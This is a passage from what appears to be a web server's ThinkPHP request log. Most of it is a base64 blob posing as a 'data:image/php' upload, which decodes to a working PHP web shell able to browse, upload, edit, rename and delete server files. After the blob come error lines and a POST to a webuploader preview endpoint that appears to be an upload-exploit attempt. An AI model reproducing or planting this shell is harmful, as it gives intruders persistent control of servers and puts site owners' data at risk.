'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:24+08:00 ] 116.213.36.234 POST www.51tianwei.com/plugins/webuploader/0.1.15/server/preview.php [运行时间:0.002620s] [吞吐率:381.68req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'plugins', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 